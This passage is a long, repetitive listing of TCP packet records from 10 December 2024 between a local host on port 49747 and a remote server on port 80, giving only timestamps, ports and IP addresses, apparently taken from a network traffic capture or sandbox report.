                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.415184021 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.416279078 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.416451931 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.416491032 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.416740894 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.416879892 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.416918039 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.417623997 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.417731047 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.417768955 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.418514013 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.418627977 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.418668032 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.419423103 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.419555902 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.419593096 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.420320988 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.420475960 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.420514107 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.421255112 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.421344995 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.421384096 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.422081947 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.422261953 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.422302008 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.422979116 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.423130035 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.423172951 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.423921108 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.424072981 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.424115896 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.424772978 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.424890995 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.424937010 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.425676107 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.425745964 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.425781012 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.426573038 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.426701069 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.426743984 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.427608013 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.427689075 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.427728891 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.428483009 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.428738117 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.428786039 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.429418087 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.429574013 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.429611921 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.430203915 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.430335045 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.430377007 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.431109905 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.431220055 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.431257010 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.431976080 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.432147026 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.432188034 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.432830095 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.432919025 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.432956934 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.433741093 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.433866024 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.433906078 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.434612989 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.434706926 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.434743881 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.435499907 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.435581923 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.435622931 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.436455011 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.436614990 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.436659098 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.437470913 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.437597036 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.437635899 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.438219070 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.438365936 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.438402891 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.439099073 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.439248085 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.439290047 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.439989090 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.440123081 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.440160990 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.440880060 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.441030979 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.441068888 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.441806078 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.441939116 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.441977024 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.442677975 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.442766905 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.442804098 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.443593025 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.443679094 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.443712950 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.444462061 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.444597960 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.444639921 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.445360899 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.445497036 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.445539951 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.446258068 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.446355104 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.446394920 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.447180986 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.447329998 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.447365999 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.448045969 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.448254108 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.448299885 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.449007988 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.449328899 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.449403048 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.449858904 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.450062037 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.450105906 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.450709105 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.450835943 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.450880051 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.451611042 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.451728106 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.451764107 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.452529907 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.452646017 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.452683926 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.453421116 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.453569889 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.453608990 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.454291105 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.454416037 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.454454899 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.455168962 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.455323935 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.455363035 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.456098080 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.456250906 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.456294060 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.457005024 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.457149029 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.457185030 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.457865953 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.458061934 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.458103895 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.458817005 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.458980083 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.459017992 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.459640980 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.459753036 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.459794044 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.609647989 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.609751940 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.609797955 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.610090017 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.610172033 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.610210896 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.610964060 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.611076117 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.611112118 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.611823082 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.613019943 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.613059044 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.613146067 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.613511086 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.613554955 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.613639116 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.614353895 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.614397049 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.614656925 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.614777088 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.614805937 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.615565062 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.615684986 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.615717888 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.616508007 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.616575956 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.616614103 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.617362976 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.617441893 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.617477894 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.618274927 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.618388891 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.618429899 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.619096994 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.619226933 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.619263887 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.620038033 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.620222092 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.620259047 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.620915890 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.621017933 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.621061087 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.621809959 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.621893883 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.621928930 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.622720957 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.622805119 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.622843027 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.623601913 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.623725891 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.623763084 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.624492884 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.624607086 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.624644995 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.625371933 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.625627041 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.625669003 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.626307964 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.626421928 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.626462936 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.627159119 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.627273083 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.627310038 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.628056049 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.628161907 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.628200054 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.629097939 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.629183054 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.629221916 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.629874945 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.630053043 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.630089998 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.630754948 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.630973101 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.631010056 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.631675005 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.631797075 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.631829977 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.632548094 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.632725954 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.632761955 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.633430004 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.633541107 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.633575916 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.634310007 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.634605885 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.634648085 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.635186911 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.635323048 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.635360003 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.636097908 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.636213064 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.636245012 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.637130976 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.637214899 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.637248039 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.638025045 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.638077974 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.638115883 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.638791084 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.638930082 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.638971090 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.639697075 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.639808893 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.639842987 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.640585899 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.640697002 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.640732050 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.641473055 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.641608000 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.641647100 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.642400980 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.642507076 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.642539978 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.643306017 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.643584967 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.643625021 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.644354105 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.644500971 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.644537926 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.645241976 CET8049747159.100.18.192192.168.2.4
